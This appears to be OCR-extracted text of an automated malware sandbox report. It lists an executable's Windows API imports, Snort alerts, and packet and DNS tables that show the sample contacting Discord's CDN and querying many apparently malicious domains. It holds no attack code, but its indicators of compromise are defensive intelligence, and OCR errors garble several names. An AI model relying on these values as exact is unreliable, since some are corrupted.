GetDIBColorTable, GetDCOrgEx, GetDCPenColor, GetDCBrushColor, GetCurrentPositionEx, GetClipBox, GetBrushOrgEXx,
GetBkMode, GetBkColor, GetBitmapBits, GdiFlush, ExcludeClipRect, EndPage, EndDoc, DeleteObject, DeleteEnhMetaFile,
DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreatelCA, CreateHalftonePalette, CreateFontindirectA,
CreateDIBitmap, CreateDIBSection, CreateDCA, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushindirect,
CreateBitmap, CopyEnhMetaFileA, BitBlt

VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

IstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale,
SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteTowWideChar, MulDiv, LockResource,
LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalLock, GlobalFree,
GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount,
GetThreadLocale, GetStdHandle, GetProfileStringA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA,
GetLocalelnfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA,
GetDateFormatA, GetCurrentThreadld, GetCurrentProcessld, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary,
FormatMessageA, FindResourceA, EnumCalendarinfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection,
CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle

RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
GetErrorinfo, VariantInit, SysFreeString

CoUninitialize, Colnitialize

Sleep

SafeArrayPtrOfindex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopylInd,
VariantCopy, VariantClear, VariantInit

_TrackMouseEvent, ImageList_SetlconSize, ImageList_GetlconSize, ImageList_Write, ImageList_Read,
ImageList_GetDragimage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter,
ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw,
ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetimageCount, ImageList_Destroy,
ImageList_Create, InitCommonControls

OpenPrinterA, EnumPrintersA, DocumentPropertiesA, ClosePrinter
ChooseFontA, ChooseColorA, GetSaveFileNameA, GetOpenFileNameA
LresultFromObject

sndPlaySoundA

Country where language is spoken Map

United States
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Snort IDS Alerts

Timestamp Protocol SID
12/03/20- TCP 1201
10:03:42.846244

12/03/20- TCP 1201
10:04:09.624716

12/03/20- ICMP 402
10:04:30.108601

12/03/20- ICMP 402
10:04:31.118789

12/03/20- ICMP 402
10:04:33.118583

12/03/20- TCP 1201
10:04:45.428632

12/03/20- TCP 1201
10:04:56.058646

12/03/20- TCP 1201
10:05:01.294464

12/03/20- TCP 1201
10:05:12.012867

12/03/20- TCP 1201
10:05:38.209853

12/03/20- TCP 1201
10:06:09.788731

12/03/20- TCP 1201
10:06:20.312938

12/03/20- TCP 1201
10:06:25.502850

12/03/20- TCP 1201
10:06:36.219998

12/03/20- TCP 1201
10:07:02.451867

12/03/20- TCP 1201
10:07:36.500644

12/03/20- TCP 1201
10:07:47.202082

12/03/20- TCP 1201
10:07:52.394758

12/03/20- TCP 1201
10:08:03.132567

12/03/20- TCP 1201
10:08:29.771000

Network Port Distribution

TCP Packets

Message

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

Total Packets: 107

® 53 (DNS)
@ 443 (HTTPS)

Timestamp

Dec 3, 2020 10:02:53.648468018 CET
Dec 3, 2020 10:02:53.664830923 CET
Dec 3, 2020 10:02:53.664938927 CET

Copyright null 2020

Source Port Dest Port
49712 443

443 49712
49712 443

Source IP
192.168.2.5
162.159.136.232
192.168.2.5

Source Dest

Port
80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

Port Source IP Dest IP
49736 23.227.38.74  192.168.2.5
49747  34.102.136.180 192.168.2.5

192.168.2.5 8.8.8.8

192.168.2.5 8.8.8.8

192.168.2.5 8.8.8.8
49751 34.102.136.180 192.168.2.5
49753 23.227.38.74  192.168.2.5
49754 23.227.38.74  192.168.2.5
49756 23.227.38.74  192.168.2.5
49770 34.102.136.180 192.168.2.5
49774  34.102.136.180 192.168.2.5
49776 23.227.38.74  192.168.2.5
49777 23.227.38.74  192.168.2.5
49779 23.227.38.74  192.168.2.5
49783 34.102.136.180 192.168.2.5
49792 34.102.136.180 192.168.2.5
49802 23.227.38.74  192.168.2.5
49804 23.227.38.74  192.168.2.5
49807 23.227.38.74  192.168.2.5
49815 34.102.136.180 192.168.2.5
Dest IP

162.159.136.232
192.168.2.5
162.159.136.232
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Dec 3, 2020 10:02:53.665416002 CET 49712 443 192.168.2.5 162.159.136.232
Dec 3, 2020 10:02:53.682034016 CET 443 49712 162.159.136.232 192.168.2.5
Dec 3, 2020 10:02:53.682147980 CET 49712 443 192.168.2.5 162.159.136.232
Dec 3, 2020 10:02:53.763359070 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.779628992 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.779699087 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.794339895 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.810579062 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.811275959 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.811300039 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.811317921 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.811393023 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.811410904 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.931791067 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.948168039 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.950273991 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:53.950347900 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:53.987154961 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.003473997 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.027905941 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.027931929 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.027951956 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.027966022 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.027986050 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028006077 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028023958 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028045893 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028059006 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028059006 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028079987 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028100014 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028100014 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028114080 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028134108 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028134108 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028153896 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028156042 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028177977 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028184891 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028198957 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028213024 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028213978 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028234005 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028247118 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028254032 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.028278112 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.028301954 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030241013 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030263901 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030287981 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030309916 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030328989 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030349016 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030366898 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030381918 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030390978 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030402899 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030422926 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030437946 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030447006 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030459881 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030472040 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030481100 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030499935 CET 49713 443 192.168.2.5 162.159.134.233
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Dec 3, 2020 10:02:54.030500889 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030522108 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030530930 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030546904 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030555010 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030569077 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030589104 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030589104 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030608892 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030616999 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030630112 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030647993 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030649900 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030668974 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030678034 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030689955 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030708075 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030714035 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030734062 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030736923 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030755997 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030764103 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030776978 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030800104 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030817986 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030831099 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030833960 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030848980 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030849934 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030869961 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030889988 CET 443 49713 162.159.134.233 192.168.2.5
Dec 3, 2020 10:02:54.030899048 CET 49713 443 192.168.2.5 162.159.134.233
Dec 3, 2020 10:02:54.030910969 CET 443 49713 162.159.134.233 192.168.2.5

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Dec 3, 2020 10:02:53.531403065 CET 62176 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:02:53.558403969 CET 53 62176 8.8.8.8 192.168.2.5
Dec 3, 2020 10:02:53.610167980 CET 59596 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:02:53.637260914 CET 53 59596 8.8.8.8 192.168.2.5
Dec 3, 2020 10:02:53.734245062 CET 65296 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:02:53.761229992 CET 53 65296 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:02.518503904 CET 63183 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:02.545574903 CET 53 63183 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:04.937603951 CET 60151 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:04.964533091 CET 53 60151 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:07.714796066 CET 56969 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:07.751863956 CET 53 56969 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:09.090677977 CET 55161 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:09.117683887 CET 53 55161 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:09.467622042 CET 54757 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:09.494592905 CET 53 54757 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:14.622014999 CET 49992 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:14.649148941 CET 53 49992 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:16.302947998 CET 60075 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:16.330063105 CET 53 60075 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:16.545643091 CET 55016 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:16.573363066 CET 53 55016 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:18.230416059 CET 64345 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:18.257244110 CET 53 64345 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:21.079016924 CET 57128 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:21.106139898 CET 53 57128 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:25.000355959 CET 54791 53 192.168.2.5 8.8.8.8
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Dec 3, 2020 10:03:25.028732061 CET 53 54791 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:25.754086971 CET 50463 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:25.781275988 CET 53 50463 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:28.080094099 CET 50394 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:28.107037067 CET 53 50394 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:31.179521084 CET 58530 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:31.219444990 CET 53 58530 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:31.989712000 CET 53813 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:32.016637087 CET 53 53813 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:36.560694933 CET 63732 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:36.587661982 CET 53 63732 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:36.933182955 CET 57344 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:37.061553955 CET 53 57344 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:37.659538984 CET 54450 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:37.696295977 CET 53 54450 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:38.916196108 CET 59261 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:38.966739893 CET 53 59261 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:42.606204987 CET 57151 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:42.673482895 CET 53 57151 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:46.626100063 CET 59413 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:46.653307915 CET 53 59413 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:47.856508017 CET 60516 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:47.911525965 CET 53 60516 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:48.541276932 CET 51649 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:48.578157902 CET 53 51649 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:48.724062920 CET 65086 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:48.767817974 CET 53 65086 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:53.335751057 CET 56432 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:53.377273083 CET 53 56432 8.8.8.8 192.168.2.5
Dec 3, 2020 10:03:58.938260078 CET 52929 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:03:59.005471945 CET 53 52929 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:04.013963938 CET 64317 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:04.060353994 CET 53 64317 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:09.438879013 CET 61004 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:09.490117073 CET 53 61004 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:14.969261885 CET 56895 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:14.996181011 CET 53 56895 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:19.679161072 CET 62372 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:19.738953114 CET 53 62372 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:25.068295002 CET 61515 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:26.059875965 CET 61515 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:27.075253010 CET 61515 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:29.075629950 CET 61515 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:29.110490084 CET 53 61515 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:30.108479977 CET 53 61515 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:31.118484020 CET 53 61515 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:33.118457079 CET 53 61515 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:34.131019115 CET 56675 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:34.295885086 CET 53 56675 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:40.176352024 CET 57172 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:40.242511034 CET 53 57172 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:45.255680084 CET 55267 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:45.295125961 CET 53 55267 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:50.445035934 CET 50969 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:50.492178917 CET 53 50969 8.8.8.8 192.168.2.5
Dec 3, 2020 10:04:55.852423906 CET 64362 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:04:55.897283077 CET 53 64362 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:01.069399118 CET 54766 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:01.130170107 CET 53 54766 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:26.771557093 CET 61446 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:26.798675060 CET 53 61446 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:27.280566931 CET 57515 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:27.315972090 CET 53 57515 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:27.679771900 CET 58199 53 192.168.2.5 8.8.8.8
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Dec 3, 2020 10:05:27.715169907 CET 53 58199 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:27.811866999 CET 65221 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:27.849531889 CET 53 65221 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:28.209292889 CET 61573 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:28.246076107 CET 53 61573 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:28.707204103 CET 56562 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:28.742845058 CET 53 56562 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:29.521872997 CET 53591 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:29.557790041 CET 53 53591 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:31.893379927 CET 59688 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:31.928992987 CET 53 59688 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:32.500679016 CET 56032 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:32.536206007 CET 53 56032 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:33.136018991 CET 61150 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:33.173921108 CET 53 61150 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:33.551990032 CET 63458 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:33.587541103 CET 53 63458 8.8.8.8 192.168.2.5
Dec 3, 2020 10:05:53.553260088 CET 50422 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:05:53.719213963 CET 53 50422 8.8.8.8 192.168.2.5
Dec 3, 2020 10:06:04.561630011 CET 53247 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:06:04.616322041 CET 53 53247 8.8.8.8 192.168.2.5
Dec 3, 2020 10:06:51.888670921 CET 58544 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:06:51.966392994 CET 53 58544 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:07.492501020 CET 53814 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:07.558490038 CET 53 53814 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:31.261637926 CET 51305 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:31.298252106 CET 53 51305 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:31.302412987 CET 53670 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:31.346362114 CET 53 53670 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:36.942156076 CET 55160 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:36.969528913 CET 53 55160 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:37.142312050 CET 61414 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:37.169408083 CET 53 61414 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:37.626708031 CET 63847 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:37.677699089 CET 53 63847 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:38.537728071 CET 61523 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:38.564878941 CET 53 61523 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:39.265428066 CET 50551 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:39.301866055 CET 53 50551 8.8.8.8 192.168.2.5
Dec 3, 2020 10:07:39.478899956 CET 62847 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:07:39.514714956 CET 53 62847 8.8.8.8 192.168.2.5
Dec 3, 2020 10:08:19.015811920 CET 57712 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:08:19.051234961 CET 53 57712 8.8.8.8 192.168.2.5
Dec 3, 2020 10:08:19.055805922 CET 61064 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:08:19.091150045 CET 53 61064 8.8.8.8 192.168.2.5
Dec 3, 2020 10:09:00.612046957 CET 61891 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:09:00.647958994 CET 53 61891 8.8.8.8 192.168.2.5
Dec 3, 2020 10:09:00.650424957 CET 61585 53 192.168.2.5 8.8.8.8
Dec 3, 2020 10:09:00.694592953 CET 53 61585 8.8.8.8 192.168.2.5

ICMP Packets

Timestamp Source IP Dest IP Checksum Code Type

Dec 3, 2020 10:04:30.108601093 CET 192.168.2.5 8.8.8.8 cffb (Port Destination
unreachable) Unreachable

Dec 3, 2020 10:04:31.118788958 CET 192.168.2.5 8.8.8.8 cffb (Port Destination
unreachable) Unreachable

Dec 3, 2020 10:04:33.118582964 CET 192.168.2.5 8.8.8.8 cffb (Port Destination
unreachable) Unreachable

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Dec 3, 2020 10:02:53.610167980 CET 192.168.2.5 8.8.8.8 0x1d26 Standard query  discord.com A (IP address) IN (0x0001)

)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Dec 3, 2020 10:02:53.734245062 CET 192.168.2.5 8.8.8.8 Oxcce3 Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com
Dec 3, 2020 10:03:09.090677977 CET 192.168.2.5 8.8.8.8 0x7370 Standard query  discord.com A (IP address) IN (0x0001)
(0)
Dec 3, 2020 10:03:09.467622042 CET 192.168.2.5 8.8.8.8 0xe948 Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com
Dec 3, 2020 10:03:16.302947998 CET 192.168.2.5 8.8.8.8 0xe207 Standard query  discord.com A (IP address) IN (0x0001)
(0)
Dec 3, 2020 10:03:16.545643091 CET 192.168.2.5 8.8.8.8 0x5226 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com
Dec 3, 2020 10:03:36.933182955 CET 192.168.2.5 8.8.8.8 0x242c Standard query  www.higher A (IP address) IN (0x0001)
(0) than75.com
Dec 3, 2020 10:03:42.606204987 CET 192.168.2.5 8.8.8.8 0x50a9 Standard query  www.renabb A (IP address) IN (0x0001)
(0) eauty.com
Dec 3, 2020 10:03:47.856508017 CET 192.168.2.5 8.8.8.8 Ox6ead Standard query  www.ahomed A (IP address) IN (0x0001)
(0) okita.com
Dec 3, 2020 10:03:48.724062920 CET 192.168.2.5 8.8.8.8 0x2961 Standard query  g.msn.com A (IP address) IN (0x0001)
(0)
Dec 3, 2020 10:03:53.335751057 CET 192.168.2.5 8.8.8.8 Oxaacl Standard query  www.dainik A (IP address) IN (0x0001)
(0) amarsomoy.com
Dec 3, 2020 10:03:58.938260078 CET 192.168.2.5 8.8.8.8 0x87d5 Standard query  www.countr A (IP address) IN (0x0001)
(0) ybarndogke
nnel.com
Dec 3, 2020 10:04:04.013963938 CET 192.168.2.5 8.8.8.8 0x5178 Standard query  www.kingdo A (IP address) IN (0x0001)
(0) mwinecommu
nity.com
Dec 3, 2020 10:04:09.438879013 CET 192.168.2.5 8.8.8.8 0xf76e Standard query  www.pocket A (IP address) IN (0x0001)
(0) spacer.com
Dec 3, 2020 10:04:19.679161072 CET 192.168.2.5 8.8.8.8 0x8ca3 Standard query  www.sports A (IP address) IN (0x0001)
(0) bookmatcher.com
Dec 3, 2020 10:04:25.068295002 CET 192.168.2.5 8.8.8.8 0x8c31 Standard query  www.making A (IP address) IN (0x0001)
0) doathome.com
Dec 3, 2020 10:04:26.059875965 CET 192.168.2.5 8.8.8.8 0x8c31 Standard query  www.making A (IP address) IN (0x0001)
0) doathome.com
